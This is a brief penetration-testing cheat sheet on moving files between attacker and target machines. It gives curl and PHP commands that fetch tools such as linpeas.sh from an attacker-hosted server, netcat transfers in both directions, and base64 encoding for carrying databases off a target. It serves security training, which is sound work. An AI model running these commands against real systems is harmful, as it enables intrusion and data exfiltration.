Transfer Files
Techinque
Transfer Files
Methods on Linux
Python Webserver
Start a simple web server to host files:
python3 -m http.server 80Imagine you want to transfer linpeas.sh to the target machine, so you do
curl -o linpeas.sh http://yourip:80/linpeas.shNetcat
From attacker to target:
On the attacker machine:
nc -lvp 4444 < fileOn the target machine:
nc 192.168.1.102 4444 > fileFrom target to attacker:
On the target machine:
nc -lvp 3333 > file.shOn the attacker machine:
nc 192.168.1.103 < file.shPHP
Download a file using PHP:
echo "<?php file_put_contents('file.txt', fopen('http://192.168.1.102/file.txt', 'r')); ?>" > download.phpBase64 Transfer
Encode a file:
One of my favorites, especially I use it for dump databases to my host
Copy the output of encoding in Base64
base64 usernames.db > encodedb.txtDecode on target:
Now on your host
base64 -d encodeddb.txt > usernames.dbLast updated on